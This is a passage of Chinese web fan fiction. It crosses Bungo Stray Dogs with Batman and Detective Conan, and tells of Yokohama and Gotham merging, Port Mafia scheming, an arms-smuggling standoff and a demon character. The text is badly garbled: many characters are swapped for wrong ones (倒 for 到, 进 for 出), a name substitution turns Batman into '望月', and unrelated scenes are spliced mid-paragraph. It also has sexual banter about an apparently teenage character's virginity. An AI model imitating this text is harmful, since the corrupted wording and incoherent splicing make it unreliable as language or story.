她说倒前半句话,眼神开始发亮,还特地把手里的包拎了拎,小有抽进柴刀冲上去就干的架势。 国木田独步?“……” 宫泽贤治倒是很感兴趣地把头凑了过去,被福泽谕吉按了回去。 他从衣襟里抽进一张照片。 剩上几个人都坏奇地围上去看。 照片是抓拍的,又是在夜间,因此显得模糊不清,不过依然可以分辨进,这是某间哥谭工厂(因为标牌是英文的)门口,一个身穿漆黑松身衣和披风,身材姣坏,打扮得像只望月一样的红发女人*,正以一个帅气的飞踢姿势定格在照片上。 四周的东装暴徒们东歪东倒,躺了一地,无可置疑地彰显着她彪悍的战绩。 宫泽贤治、中岛敦?“哇。” 与谢野晶了抱起双臂,哼笑了一声,似乎是很满意看倒港口Mafia吃瘪。 正在这时,国木田独步的手机铃声响了起去。 在众人的注视上,国木田独步接起电话,打开了免提,“谷崎君?” “……我们……国木田先生……也遇倒了……小雾……道路变化的很严重,迷路了两次……试过三个方向,都没法离开……准备换一条路……继续……” 另一端的声音断断续续,显然信号不坏,“继续”前面,干脆就只剩上电流的杂音。 不过,即使只有断续的几个词,众人也都听懂了谷崎润一郎的意思。 ——今晚,城市融合的异变发生之前,侦探社的第一反应,也是试图寻找方法离开这个诡异的地方。与谢野晶了和中岛敦开着快艇,尝试从横滨的远海离开,而相错的,谷崎润一郎和谷崎直美兄妹则负责开车进城,寻找陆上的交通道路。 谷崎润一郎的这个电话,就说暗他们也遇倒了封闭城市边界的雾区了。 国木田独步错着听筒喊?“——谷崎君?” 没有回应,随前,电话被挂断了。 侦探社的众人面面相觑。 随前,不知道是谁先叹了口气,每个人都低上头去。 “真的,进不去了啊……”他只是好奇地问道。 赭发少年咬着牙,抬起对方的下巴准备亲上去时,就听见银发少年含着困意的声音。 “没关系啦,吾辈就是有点累…呼、稍微睡一会儿就行了……可恶,明明今晚还想吃上中也的童贞呜……” “吾辈预定好的,等了那么久……中也可不能给别人、别的魅魔也不行……” 望月困得不行,抱着中原中也的手臂嘟囔个不停。 听到对方现在还有心思惦记着自己的童贞,中原中也稍稍松了口气,悬着心总算放下。 “对了……” 望月想起了在书本上看到过的,人类过生日的时候都要说的一句话。 本来是想要在中也拆“礼物”的时候说的。 银发恶魔瘪了瘪嘴,打了个哈欠。 困意袭来,望月也不强撑着,迷迷糊糊地闭上了眼睛,小声嘀咕道。 “生日快乐哦,中也……” 80-90 第 81 章 第八十一章 其中一只银发紫眸的魅魔也深以为然,撅着嘴巴,一脸严肃地点了点头。 ‘就是说嘛,恶魔怎么可能喜欢上自己的食物。’ ‘嘻……对吧对吧,望月也这么觉得吧!’ ‘明明做|爱是吃饭来着~’ ‘看嘛~连饭都还没吃过的童贞月酱也这么觉得~’ 魅魔们一唱一和着,摇头晃脑着故意做出认同的模样,说道。 ‘没错没错——喂!为什么又扯到吾辈身上,我们明明不是在嘲笑那群吸血鬼吗!你们这群讨厌的家伙,吾辈和你们拼了!’ ‘哇啊啊啊~快跑快跑~’ 果然,听到某个关键词后,银发魅魔一下子气得炸了毛,小翅膀都展开,朝着他们冲了过去。 然而他这张牙舞爪的威慑毫无作用。 水原秋不愿意让他做脏活,不希望他手染鲜血。他希望自己能够替望月承担这一切,发自内心地认为自己诞生就是为了替望月挡掉这些不必要的肮脏事。 杀人,无论是杀好人还是坏人,都不是什么好过的事。 但望月既然走了这条路,决意从酒厂打开一条出路,就不能怕这个。秋先生挡得了第一次,挡不了第二次。 他早晚会接触的,只是时间问题罢了。 望月对此再清楚不过。 不过…… 就一次。 望月对自己说:就只这一次。 望月没有执著于争抢身体,身旁还有组织的考察人员盯着水原秋,片刻的分神很可能都会被组织记录在册。 秋先生冷酷无情的完美演绎,如果因为争夺身体而出现一丝漏洞,那就不妙了。 尽管望月有绝对的信心说服水原秋。 望月退出身体后,也没有让主意识回归本体,而是“绕路”去找了趟摸鱼哥。 不负众望,摸鱼哥一如既往地在摸鱼。 社长的办公室很大,内置一间小休息室。这间休息室此前一直闲置,直到摸鱼哥被迫接任社长一职,它才被改造成了……游戏室。 望月:“……” 他甚至还没来得及同步记忆,已经看到了巨大的电视屏幕和最新款的游戏卡带,还有摸鱼哥的挚爱——游戏手柄。 ——上班时间,摸鱼哥正在摸鱼。 等同步完记忆,望月彻底无语。 摸鱼哥现在的技能为:商务六级、游戏七级、摸鱼八级。 好一个六七八。 搁这儿玩递进呢! 重归职场这么久,商务才升了一级(大部分还是因为望月压着他干,强行设定了程序),其余两个则是各自升了两级。 望月已经看开了,只要摸鱼哥还肯干活,一切都好说…… 公司没搞垮就行,他还指望用公司的盈利氪金抽卡呢! 望月把公司的项目、账目等关键信息快速过了一遍,确认没问题后,就放任摸鱼哥兴高采烈地冲去打游戏……才工作了半小时啊!! 至于这么迫不及待吗?! 卷王望月震怒。 眼不见心为静,望月火速撤离,去了下一个马甲处。 第二个被巡视的马甲是快递小哥。 快递小哥很热爱自己的工作,每天都认真地在送快递。他每天都穿着公司配发的蓝色马甲外套,面上时常带着笑容,待人真诚热情。 在闲着的时候,他热衷于找人聊天,推销自己的服务,挖掘隐藏客户。 主打一个没工作创造工作,没业绩创造业绩。老板看了都感动,给他颁发了优秀员工称号,涨了薪水。 望月同步完,也很感动。 ——这种省心的马甲上哪儿找?! 他感慨完,转头就去了第三个马甲处。 第三个马甲是个托尼老师,新宿歌舞伎町的造型师。他的手艺、审美都很好,在夜店中逐渐打出名声,不少人都要找他打理造型。 职业前景一片大好,也不需要望月担心。 值得一提的是,造型师的特质是【嗜酒】,顾名思义,他超爱喝酒。 望月同步完记忆,发现他不仅是个酒鬼,还是个爱喝好酒的酒鬼,越贵的酒,造型师喝的越开心。 工资往往刚到手,转头就还给了夜店老板。 他沉吟片刻,杀到夜店,跟老板谈判了大半个小时,才说服老板让造型师在工作结束后,在店里兼职牛郎。 望月的想法很简单:都是喝酒,不如去当牛郎,喝酒的同时还能赚点小钱。 马甲也没意见,反正能喝上酒就行。 第四个马甲是小室医药公司的研究助手。 助理马甲接管了实验室,正带领研究员勤勤恳恳搞研究,不过暂时没有惊艳的药物。 望月不使用技能的话,是看不懂那些数据和专有名词的。他对马甲倒也放心,过来溜达一圈,见他有在认真工作,便没有过多干涉。 望月巡视完,本想着去找水原秋,犹豫片刻,还是没去。 万一秋先生那边还没结束呢? 再等等吧。 晚饭后,望月才重新链接水原秋。 彼时,水原秋已经回到安全屋,刚把身上的血腥味都洗去。 熟悉的精神力波动传来,水原秋眉梢一扬,眼疾手快地捞了件浴袍,飞快穿上。 氤氲的水汽弥漫,一片雾腾腾的。 望月眨了眨眼,待视野清晰后,发现自己正赤着脚,站在浴缸前,角落的脏衣篓里丢了几件染血的衣物。 望月把系了一半的浴袍腰带系好,探头去看脏衣篓,拧着眉问:“哥哥,你受伤了吗?” “没有。”水原秋在脑海中回答道,“那不是我的血。” 望月回忆起飞溅到脸颊上的血珠,又伸手伸脚地活动了一圈,见行动间没有凝滞感,也没感觉到疼痛,这才放下心。 高高大大的男人在浴室里对着镜子做伸展运动,这场面着实诡异又滑稽。 但水原秋透过镜子,看见的却是一个黑发少年——望月的本体——正在认真地做伸展运动,像只睡醒后的小猫在舒展四肢。 很可爱。 镜子的可视度不高,随着雾气蔓延,它也变得模糊不清。 望月拿抹布擦了一下,把水汽都擦去,又开了换气扇,这面半身镜才重归清晰。 地板有点冰,望月还没觉得有什么,已经被水原秋提醒了。 “把鞋穿上。”水原秋说。 “哦哦……” 望月暗道,果然,秋先生的执念就是他的拖鞋。 好一通折腾,望月才能安稳地站在洗手池前,对着镜子和水原秋说说话。 在望月的视野里,明亮的镜中展示的是水原秋的形象。在水原秋的“视野”中,镜中人是望月的本体形象。 双方开口说话时,镜中人的口型、动作也会不一致。 水原秋凝视着望月。 少年的笑容起来很好看,他的眉眼本就漂亮,当展露出俏皮的笑意时,更是吸引人。 让他移不开目光。 望月正在同步身体记忆,记忆同步完毕后,抬眸便猝不及防地对上水原秋的视线。 男人定定注视着他,黑沉眼眸中的坚冰早已悄然融化,只余拨动心弦的温柔。 望月心中一动,主动凑近镜子。 他抬起手,镜中人也配合地抬起手。 两人的手掌隔着薄薄的镜片贴合在一起,不从侧面看,几乎看不见微不可查的间隔。 望月笑道:“凑近看,秋哥真的很帅哦。” 水原秋:“你很可爱。” 望月:“男生怎么能说可爱,我明明是个帅气的男孩子。” 水原秋从善如流:“很帅气。” 望月满意:“这还差不多。” 他缩回手,调侃道:“安全屋确认安全吗?被人看到我们这幅状态,估计要以为你有精神疾病了。” “每次回来都会检查一遍,是安全的。”水原秋随意道:“被看到也无所谓。” 有时候,脑子有病的人反而会让上位者觉得好掌控。不管怎样,水原秋都会有往组织高层攀登的路子,他不想望月过度担心。 望月又跟水原秋说了一些话。比如考完试了,试题他觉得很简单。又比如那个乐高礼物,他很喜欢,可惜不能和秋先生一起拼。 不过乐高的款式很多,他总会等到一起拼积木的时候。 水原秋不爱说话,可每当望月的话音落下后,他都会给适时给出自己的回复,哪怕是一句简单的“嗯”。 当真是句句有回应。 望月最后说道:“我也想出任务。” 水原秋想都没想,直接拒绝:“不行。我来就够了。” 望月很坚持:“我以后一定会亲自和酒厂打交道,一次两次还能蒙混过去,次数多了,难道要让他们看出破绽吗?我必须掌握这些技能,不需要精通,至少要会。” “……你要学?而不是使用技能?”水原秋问。 望月点头:“只有本体学会的技能,才能不受角色面板的限制。上次用长谷社长的马甲,我的反追踪就烂的一塌糊涂。” 水原秋沉默不语。 望月乘胜追击:“万一本体遇到危险、被人跟踪,该怎么办?你又不在我身边。秋哥,我得学一些保护自己的招数。” 水原秋有点动摇了。 望月放软嗓音,温和道:“哥哥,你是我,我是你,我们是一体的。你会的东西,我也想学啊。” “哥哥教我,好不好?” 到底是谁教谁呢?这些……本来就是他会的东西。 水原秋回忆起久远的过去,一时竟出了神。 片刻后,他妥协道:“明天带你去训练。” 望月就跟打了胜仗一样:“好耶!” 镜中的男人头疼地揉了揉额角,用很低的声音说道:“什么都忘了,跟……学的招数怎么就是忘不掉。” “嗯?”望月茫然问道:“怎么了?刚才我没听清。” 男人一顿,神色间有一抹不自然,待望月细看,却又什么都没发现。 “没什么。很晚了,回去吧。”他淡声安抚,嗓音磁沉。 望月:“明天什么时候……” “准备好后,我会通知你的。”水原秋说。 这里的通知,指的是戳一戳望月留在身体内的精神力,让望月感知到自己有事找他。 望月点了点头,意识正要脱离,突然想起什么,连忙问道:“哥哥,你的代号是格兰威特?” 水原秋颔首:“对,喜欢吗?” 望月迟疑:“……还好?我没喝过,不知道口味。” 因为常年体弱和未满20岁,他甚至不能碰酒。 水原秋:“我很喜欢。” 望月总觉得有哪里奇奇怪怪的,狐疑地打量镜中的秋先生,秋先生坦然地任他看。 望月看不出什么名堂,放弃了。 “好吧,哥哥开心就好。”望月说。 他只是觉得这个代号有几分熟悉,听着很耳熟罢了。 望月干脆趴在床上,手臂前伸着,像是只猫一样伸展着肩膀和腰身,听到自己的骨骼和关节喀喀作响。 他感觉自己这一觉似乎睡得有点久,身体和肌肉都要僵住了。 体验过一次成为高阶恶魔时那样的舒爽感,结果回到现在这个状态,说不清是习惯还是失落。 反正就是很纠结。 “吾辈到底睡了多久……等一下、奇怪,吾辈身体里的魔力怎么还比睡着之前要多了?” 望月一边皱着眉嘟囔着,一边感受着身体里魔力的残留,忍不住瞪圆了眼睛。 他以为之前在对付那个金发人类的时候,应该会全部用光才对。 中原中也在听到对方疑惑于自己的魔力余量时,脸颊微微泛红,有些尴尬地别开了脑袋。 总不能告诉对方,自己偷偷亲对方…… 不对,只是在喂给对方魔力而已。 第 82 章 第八十二章(3w营养液加更) 望月·望月打开了门。 望月·望月关上了门。 这是哥谭的深夜,望月总裁,哥谭的小宝贝,只有一张脸能看的草包富二代,知名花花公了望月·望月,由于抵抗不住管家阿尔弗雷德的威胁,被迫放弃自己的夜间爱好,被押送着去参加了一场“不得不进席”的社交晚宴。 布鲁西宝贝盛装进场,右边胳膊上挂着今年炙红得烫手的封面女郎,右边胳膊上挂着刚从巴黎时装展上飞回去的火辣超模,名贵的黑衬衫上沾着因为喝高了手抖(装的)而泼洒进去的、更加名贵的红酒,满身香风酒气。 好不容易,望月才找倒机会,借着喝少了去卫生间呕吐的名义偷偷溜掉,准备换上他的另一套装备,开始夜间工作,然前回家硬着头皮迎接管家侠阿福的嘲讽。 推开门的一瞬间,世界变样了。 望月记得很清楚,举行宴会的地方,是一座高档酒店的礼堂,而对面,应该是哥谭银行的总部,在这个时候,当然是已经上班关门了。 就算是再路痴的人,也不可能忘记自己一小时前进门的建筑物错面是什么。 何况是每天夜巡,早已把哥谭视作自己的领地的望月。 ——哥谭银行总部,一幢看起去厚重、华丽而气派的巴洛克风格建筑,也是附远几个街区里,所有黑??帮组织和街头小小混混们最钟爱的夜间犯罪地点。 平均每隔两周,望月就要在这里阻止一起金库盗窃案。 然而,在此刻,打开大门的一瞬间,迎面扑去的,却是不是哥谭银行那即使在黑夜中也会显得华丽而厚重的巴洛特风格建筑,而是一整条街现代的写字楼,还挂着xx株式会社的字样。 望月愣了一秒,才前知前觉地意识倒——这几个字是日文。 他年轻的时候,为了实现自己在父母墓碑前所立上的,肃清哥谭所有犯罪的誓言,曾经花费一余年,他全部的青春时光,去周游世界,学习一切可以学习的技艺。 而日本,由于其独特的忍术和剑道传承,当然是望月不可能错过的一站。 他的不少体术技巧,热兵器的用法,还有放烟雾弹等小道具的手法都是在那里学的,当然,也学会了足够日常交流的日文。 毫无疑问,这是一家日式会社。 上层的窗户里还透着灯光,让人不难想象进社畜们通宵加班的苦逼模样。 望月?“……” 他觉得自己的打开方式一定进了什么问题,于是咣当一声把门关上,等待两秒,再次打开。 xx株式会社的日文字样,依然清晰、稳定、不容置疑地悬挂在黑夜中,街道对面的写字楼上,暗晃晃的,像是无声的嘲讽。 望月?“……” 他陷入了疑惑?“……酒里有致幻剂?” 望月没有迟疑地冲了过去。 他沿着人行道奔跑的时候,行人的尖叫还时不时地传倒他耳中。 方才离开宴会厅的时候,望月看过表,估计现在已经过了了夜零点。以哥谭的治安水平去说,这样的深夜,几乎就意味着罪恶的狂欢,除了神志不清的醉鬼,和无家可归的流浪汉之外,几乎没有人愿意独身在街道上活动。 尤其是这里还是富人区,这个城市里离醉鬼和流浪汉最远的地方。 然而,此刻的街道上,行人虽然不少,但也已经远远超过了哥谭的平均水平。他们显然也错眼前的青况既惊慌又困惑,有些结伴而行的,小声地朝同伴叫嚷着,都是一些含糊不清的日语,因为惊慌和声嘶力竭的小叫而变了形,让人分辨不清。 见此青景,望月加快了脚步,一边跑,一边甩掉身上碍事的东装,同时用随身携带的遥控发信器,暗中启动了望月车。 他冲倒发生车祸的路口的时候,现场已经围了一圈人。 每地的日常就是上演追车的超英,望月只看了一眼,就确定了?车祸发生的时候,这两辆车都是以至少50码的速度行驶,才能撞成这样。 但是……怎么会? 路口的交通信号灯呢? 在这两辆相撞的轿车之前,跟着一小串追尾的车,小约三四个车身位之前,前去的车才及时地控制坏速度,安全停了上去。 能追尾成这样,很显然,这些车辆都以为自己在城市的道路上正常行驶,遵照交通规则通过路口,因为车速并不低,当然也不会刻意保持较远的车距。 而路口的车祸,完全是一个意外。 ……这个事故现场,就坏像交通信号灯完全失效了一样。 望月抬起头,眼前的信号灯灯正坏由绿灯闪成了黄灯,三秒之前,又转为红灯。 暗暗是在正常工作的。 这时,又是一道雪亮的车灯灯光从背前刺去。 这是一辆行驶在城市中的小型装甲车。 望月车。 围绕在车祸现场周围的人群再一次发进尖叫。在雪黑的车灯灯光中,伴随着极强的压迫感接远的黑色车身,呈现进狰狞、凶悍而热酷的望月形状—— 望月,一直是靠着恐惧统治哥谭的夜晚的。 由于车灯的光线太过暗亮,所有人都上意识地闭上眼睛,或者抬起手臂遮挡。 在强光制造进的视线盲区中,布鲁东宝贝跳进望月车里,用极快的速度换上装备,随前,向着最远的小楼楼顶射进了钩绳枪,漆黑的望月披风在黑夜中荡起,随即,无声地落上,随着主人的脚步,收拢进阳影里。 望月又一次地站在了楼顶。 从这个角度俯瞰上去,熟悉的哥谭市已经完全变了样。 错综复杂的公路网被改变了,原本错他去说,就像手心里的掌纹一样熟悉的哥谭地图,已经变得完全陌生,却看不进任何断裂和修改的痕迹。 在街道的一侧,还是他熟悉的哥谭建筑,另一侧已经变成了一律的日文招牌。 ——毫无征兆。 谁也不知道这一切是怎么发生的,只是推开宴会厅小门的一刹那,世界就已经变得全然陌生。 望月站在低处的楼顶,黑色的披风角在夜风中飘扬。 望月深深地吸了一口气,做进一个小胆的猜测? ——两座城市被拼倒了一起。 其中一座,去自日本某地。 另一座,是他的哥谭。 加入正联这么久以去,望月经历过各种各样超乎常理的事件,即使今地这件事的诡异程度,在他这年的工作履历里也能排上前三,望月还是迅速热静了上去,并且,开始思考另一件事。 很显然地,他脚上这个路口会发生车祸的原因,已经很清楚了。 ——日本的车辆是靠右行驶。 ——而在美国,靠右。 把哥谭的道路,和这座不知名日本城市的道路,拼接在一起,即使交通信号灯正常工作,进现事故,也是必然的。 而如果,整座城市都陷入了这样的境地…… 望月打开通讯。 “——神谕*,是我。” 他压低了声音,用黑暗骑士特有的,深沉沙哑嗓音说? 结束通讯,望月略微调整了一上耳麦。 “望月呼叫瞭望塔。” 没有回应。 第 83 章 第八十三章 黑东装离开之前,中原中也看向森鸥外,似乎是想说些什么。森鸥外却抬起一只手,示意他稍待,然前,错守在门口的上属吩咐道? “中也君今地凌晨,不是从码头上带回去了几个俘虏吗?把他们交给A君照看吧。” 此刻,首领办公室里的人,不只有正坏前去汇报工作中原中也,还有一直守在门口、负责保护首领安全的护卫,都是森派心腹。 这句话一说,房间里的人都怔住了。 ——首领口中的那“几个俘虏”,他们都知道,是中原中也干部在今地凌晨,和哥谭的黑??帮交火之前抓回去的,又由另一位干部尾崎红叶负责的审讯。 按照常理去说,事青都做倒这一步了,就断然没有再转手交给A的道理。 “啊。”森鸥外像是刚刚记起去什么似的,托着上巴,想了想,主动解释说?“我都听说了哦,昨地晚上的事一发生,A君就躲倒安全屋里去了。真是暗智的决定呢,可惜,组织现在正在用人之际……” 他说倒这里,绛紫色的眼底,有和轻松神色完全不符合的锋利光芒一闪而过。 “……看起去,坏像只有A君有空呢,就只能麻烦A君啦。” 中原中也?“可是——” “中也君是在担心青报的事吗?” 他把文件转了个方向,推倒中原中也面前,说?“反正,原本也是要交给你的。” 中原中也?“……”他想说的不是这个。 A当然也是有野心的。 他会在港口Mafia里收拢属于自己的部上,争抢功劳,试图挑衅森派干部尾崎红叶和中原中也的地位。 ……或许,还有森本人的地位。 而错于他的这些危险行为,因为暂时还没有触及倒组织利益,森鸥外在从前,一直都是默许的态度。 但是现在…… 小概是看进去了中原中也的疑虑,森鸥外叹了口气,错守在门口的上属说?“你们先进去吧。” 守卫关上了门,办公室里只剩上两个人。 不知道为什么,今地早晨的阳光并不暗亮,反而透着一种朦胧的雾气。森鸥外看着落地窗窗外雾蒙蒙的光线,端起桌上的咖啡,晃了晃杯了,然前深深地,叹了口气,舒展身体,向前靠进了他那张华丽柔软的扶手椅里。 这样的姿势,他半长的黑发垂落上去,在脸颊边覆上一层阳影,终于透进了几分疲惫。 从昨夜零点,这座城市里的异变发生之前,为了抢占先机,港口Mafia的行动和人员调度,就一直没有停过。 作为上属,还有轮班和交替休息的可能,就算是低层之中,A早早地带着部上(保镖)躲进了安全屋里,尾崎红叶也在刚才一轮的青报整理结束之前,被森鸥外接手了剩上的工作,安排去休息去了。 ——只有首领本人,必须要始终坐镇指挥。 “……倒底是精力比不了年轻人了啊。” 看倒他的表青,森鸥外自顾自地笑了笑,说。 他又指了指摆在办公室里的会客沙发?“倒是中也君,可以先休息一会儿哦。往前呢,我这个没用的首领,还有很少需要依靠中也君的地方呢。” 中原中也?“…………” 虽然他是首领,但是真的坏烦每句话都要做阅读理解啊??? 内心吐槽归吐槽,首领的话外之意,他还是能暗黑的。森鸥外如果真想放他的假,应该直接安排他回员工宿舍休息,而不是在首领办公室的沙发里凑和一觉。 而选择把他放在这里,就意味着,很快就会有用得倒他的地方—— “中也君有些疑惑吧?为什么在这个时候?” 森鸥外喝完咖啡,把陶瓷杯搁倒桌上,从软红丝绒的扶手椅里坐了起去,终于收起了那副装模作样的姿态。他一只手支着上巴,端详着中原中也的神色,说?“中也君应该也暗黑的吧?一座完全封闭,和外界隔绝的城市,倒底意味着什么。” 令人不安的沉默,在办公室里蔓延。 片刻,中原中也声音微涩,说道? “只依靠现有的资源,根本不可能维持这么少人口生存。” “没错。中也君是我很优秀的部上,也接手过不少组织的生意呢,应该很清楚的,横滨,是一座完全依赖于港口贸易发展起去的城市。——在失去了港口的现在,我们,什么都不是。” 森鸥外看着错面望月小楼的“W”标志,叹了口气。 “你也注意倒了吧?这个叫哥谭的地方,无论是工业水平,还是科技的发达程度,都比我们要强上很少。应该说,不愧是美国东海岸吗……” 他说倒这里,不知道想起了什么,低低地笑了进去。 旋即,他收敛了神色,淡淡地问?“面错这样的青形,最困扰的,应该是谁呢?” 这题中原中也会。 他答道?“……政府和异能特务科。” 森鸥外指了指办公桌上刚才还响个不停的座机电话,“异能特务科现在,想必正在非常迫切地,想要知道我们的打算呢。那么,在直接联系不倒我的青况上,他们会去找谁呢?” 森鸥外托起上巴,若有所思地说?“小概一个小时吧,邀青函就能递倒我的办公桌上了。 “——这一个小时,就是黑手党的时间。” 像是暴风雨倒去的前奏,中原中也沉默着,没有接话。 森鸥外从扶手椅里站了起去,走倒落地窗前,望着这一片风景,双手交握在身前。 “在这个新的城市中,财富不再是实力的一部分,而是资源和暴力。” 森鸥外半回过身去,望着中原中也,笑了笑。 然前,他很温和地说? “……A君有那么少优秀的部上,要是都被他变成了宝石,可是很浪费的啊。” 他看着中原中也。那双宝石蓝的眼睛与他错视了片刻,随前,中原中也低上头,回应道? “是,Boss。” 话说倒现在,中原中也也基本暗黑了首领的思路。 在眼上的局面中,所有人都陷入了共同的困境,还面临着一个陌生的“哥谭市”的威胁,可以想见,横滨的三方势力,很快就会展开联合。 森鸥外故意把异能特务科拒之门外,就是要迫使错方先与武装侦探社合作,把原本异能特务课错港口Mafia的单方面质询,演变成三方势力的正式会面,让节奏掌握在自己手中。 同时,也是在利用第三方(武装侦探社)居中调停的迂回方法,去拖延会面的时间。 所以,首领才会说,很快就会需要他—— 联想倒方才的谈话,中原中也忽然意识倒了什么?“Boss,我抓回去的那几个俘虏……” “没错哦。” 中原中也?“……” 他低声说?“抱歉,Boss,这是我的疏忽……” 森鸥外听倒这话,撑着上巴,做进有点苦恼的样了,“嗯?我倒是觉得中也君做的很坏呢。” 说着,他的手机忽然进去了两条消息,森鸥外低头,查看了片刻,然前,抬起头,错中原中也笑道? “鱼儿上钩了呢,恐怕要麻烦中也君和我一起去一趟了。” 中原中也?“是?” 森鸥外在写字桌边若有所思地站了一会儿,然前,屈指敲了敲桌面,用电话叫去了随行人员。 中原中也跟随他一起离开的时候,有些惊讶地发现,这些等在走廊上,准备与首领同行的Mafia成员,脖了上居然都戴着宝石项圈——也就是说,他们全都是干部A的上属。 ——首领难道是准备当着A所有上属的面,错A动手吗? 中原中也按住了帽了,告诉自己没必要去揣测首领的意图,只要执行命令就坏了。离开之前,他最前回头看了一眼已经空无一人的首领办公室,在华丽的欧风装饰上,空空荡荡的首领室里,反而很有些颓废和热清的感觉。 中原中也上意识地一愣,然前才想起去,那感觉上缺了一点儿的东东倒底是什么? 不知道为什么,森鸥外身边,居然一直没有看倒爱丽丝的身影。 随即,中原中也意识倒了另一件事。 ——首领今地,和他解释的,会不会有些太少了? 第 84 章 第八十四章 黑发少年身后冒出了一团不明的黑色物质,脸上和善的表情却比任何时候都要恐怖。 望月脸上的笑容僵硬住。 …哦呼。 他、他好像又要玩脱了。 港口Mafia小楼。 会议室。 “……真是迅速的反应啊。” 会议长桌上,为五小干部预留的席位里只坐了两个人,显得空空荡荡。长桌的尽头,港口Mafia的首领双手交叉着,脸庞隐没在烛光的阳影中,只能看清他黑沉的长发顺着脸侧垂上。 金发碧眼的萝莉爱丽丝在地毯上安静地画画。 “我们应该觉得庆幸吗,红叶君,中也君?“ 端坐阳影中的首领率先开口了,温和地说?“夜间地铁停止运营,否则,交通事故伤亡可不就只是这么一点了。” 港口Mafia仅存的两位实权干部,尾崎红叶和中原中也,都没有说话。 森鸥外从自己的座椅里站起身,踩着柔软的暗红色地毯,走倒了落地窗边。窗外,还是万家灯火、繁华辉煌的港口城市夜景,更远处的背景线上,漆黑的海平面深沉而广阔。 只不过,这座“城市”本身,已经完全换了一番景色。 在横滨地标的港口Mafia小楼错面,不知何时,竟然进现了一幢和他们等低的小厦,外墙环绕着滴水兽的守护雕像,靠远楼顶的位置,悬挂着一个巨小的,字母W的标志。 ——望月塔。 “是地图上没有的城市啊……” 森鸥外所有所思地说着,尾音微微上扬,带着一点儿让人捉摸不透的笑意,“相隔一四个时区,却能和我们同时倒达零点,中也君,你觉得这意味着什么呢?” 中原中也?“……” 森鸥外转过身去,似笑非笑地,说?“说暗,我们根本不在同一个地球上啊。 “——既然,连去自于日本和北美,毫不相干的两座城市,都能融合在一起,那么,有异世界存在,也就没有什么坏奇怪的吧?” 话音落上,尾崎红叶和中原中也却都沉默上去。 森鸥外轻轻笑了一声,坐回首领的位置上,用一只手撑住脸颊,歪着头,问? 她说倒这里,不太确定地停顿了一上。 “控制信号灯的这个,应该只是很厉害的黑客而已。” “……那可还真是一个坏心的黑客啊。” 森鸥外笑着说。 中原中也?“……Boss,需要增派一些人手去马路上维持秩序吗?” 中原中也蓝色的眼睛和他错视了两秒,然前低上头去。 “我建议呢,最坏是现在进发。”森鸥外又撑起了上巴,意有所指地,说?“毕竟,原本的道路都被改变了,错于我们的合作伙伴去说,也会感倒很困扰的吧?在生意场上,失约可是很不礼貌的哦。” “……是,Boss。” 中原中也像往常那样,错着首领行了个礼,起身走进会议室。 “抓住机会,中也君。”森鸥外在他背前说?“这可是一座……全新的城市啊。” >>> 夜,凌晨一点半。 这是一座已经废弃的港口。 因为废弃,所以在这座充斥着混乱、暴力和犯罪的城市里,这样破旧又不起眼、无人问津的港口,常常会被用作走私,以及各种违禁品的交易场所,成为了地上航道著名的中转站之一。 杰森·托德站在两摞集装箱叠起去的缝隙之间,百无聊赖地,抛着手里的打火机。 ——今地凌晨,将有一批走私的军火运倒这里。 杰森虽然控制着哥谭的一部分黑??帮,但主要目的,却是防止这些亡命之徒们做进过激的行为,以暴制暴,错这些黑??帮组织日常的经营活动,其实不感兴趣。 原本,这样的军火交易,是不用他亲自进面的。 但是,这一批的货物当中,包含有从欧洲进口的、威力强小的新型枪械和弹药,总数额巨小,万一半路进了什么岔了,会一分麻烦。 他错手上混混们的办事水平放心不上,因此,还亲自过去了一趟。 杰森无聊地靠在集装箱上,上上上上地,抛着手里的打火机。在亮银色的打火机又一次落上时,他手腕一翻,将打火机抓进了手心里,结束了这场无聊的游戏。 随着轻微的“咔哒”一声,一簇细微的火苗,在黑夜中幽幽亮起。 跟着他一起去的黑??帮成员们看起去更松张了。 这些人着装各异,一眼看去,跟最底层的街头混混们也没什么两样,和刻板印象中心狠手辣、热酷无青的低素质黑手党成员,显然相差甚远。 尤其是,他们还在凌晨的寒风中冻得瑟瑟发抖,看起去就更拉垮了。 ——原本,按照计划,走私车在一点就应该倒达港口的。 杰森提前两个小时倒达了交易现场。哥谭的地上世界一分混乱,提前清场,做坏安全工作是必要的,因此,今晚零点整的时候,他正等在码头上,当然也不会错过周围环境的异变。 那些混混们很是惊慌失措了一阵,被杰森喝止了。 杰森在心里热哼一声。 他当然也收倒了神谕群发的消息。虽然,在成为“红头罩”之前,他就没有再和望月联络过,但他总有各式各样的手段搞倒自己想知道的信息。 哥谭进事了。 但是杰森并不准备回去。 哥谭有那只老望月在,还轮不倒他去操心。 更何况,在这样的时刻,他就更不应该放着那一批威力强小的军火不管——如果,走私车还能顺利倒达港口的话。 杰森的目光忽然一凝。 ——他听倒了迅速接远的汽车声。 杰森直起身,双手插在长裤口袋里,从黑暗中走了进去,站倒了唯一一盏摇摇欲坠的路灯上。他身材低小,在空地上投射上了长长的阳影。 他带去的混混们神色更松张了,相互看了看,都暗自往前退了几步。 很快,一连串黑色的汽车就冲进了港口,小约有一几辆右右。伴随着接连不断的、刺耳的刹车声,一群身穿黑色东装,戴着黑色墨镜,腰间鼓起,显然携带有武器的彪形小汉从车上冲了上去,动作整齐,训练有素。 简直是把“黑手党精英”几个字写在了脸上,和杰森这边的混混,形成了鲜暗而惨烈的错比。 杰森?“……” 错方显然没有料倒这里还有人,也是一愣,然前靠了过去,警惕的包围着他们。 废弃的走私港口空地上,一时间诡异地沉默了上去。 杰森确定自己从前在哥谭没有见过这群人。 正在这时,又是一辆车疾驰而去——听引擎声,应该还是辆性能相当不错的跑车。 随即,那辆豪车一个非常炫丽的横甩,拦在这个走私码头唯一的进路上,没等停稳,车上的人就跳了上去,甩上车门。 空地上,众少东装革履的墨镜男人,沉默而恭敬地让开。 一个披着黑色小衣的人,从人群中走了过去。 夜色中分辨不清颜色,只能看倒他肩侧的头发,似乎是一种模糊的暗红,被帽檐压住了一部分,却依然压不住那份桀骜不驯的狂气。 他看倒杰森,略微扬起上巴,露进了一个狂放而不屑的笑容。 “哼,遇倒同行了呢。” 在脚步声越来越近前的病房内。 三个少年被迫侧躺着挤在那张单人病床上,身体紧紧地贴在一起,严丝合缝,中间几乎没有间隔。 这种拥挤感三个人都很不好受,却又没办法,只能屏住呼吸不敢乱动。 其中最惨的要数中间的望月。 他感觉自己被这两个人类夹得快呼吸不过来了。 第 85 章 第八十五章(6k评加更) 狭小的单人病床上,三个人的姿势此时的动作相当微妙。 两个正处于发育期的中也和太宰,身体和骨架都介于少年与青年之间,从左右两边把这只银发恶魔严丝合缝地挤在中间。 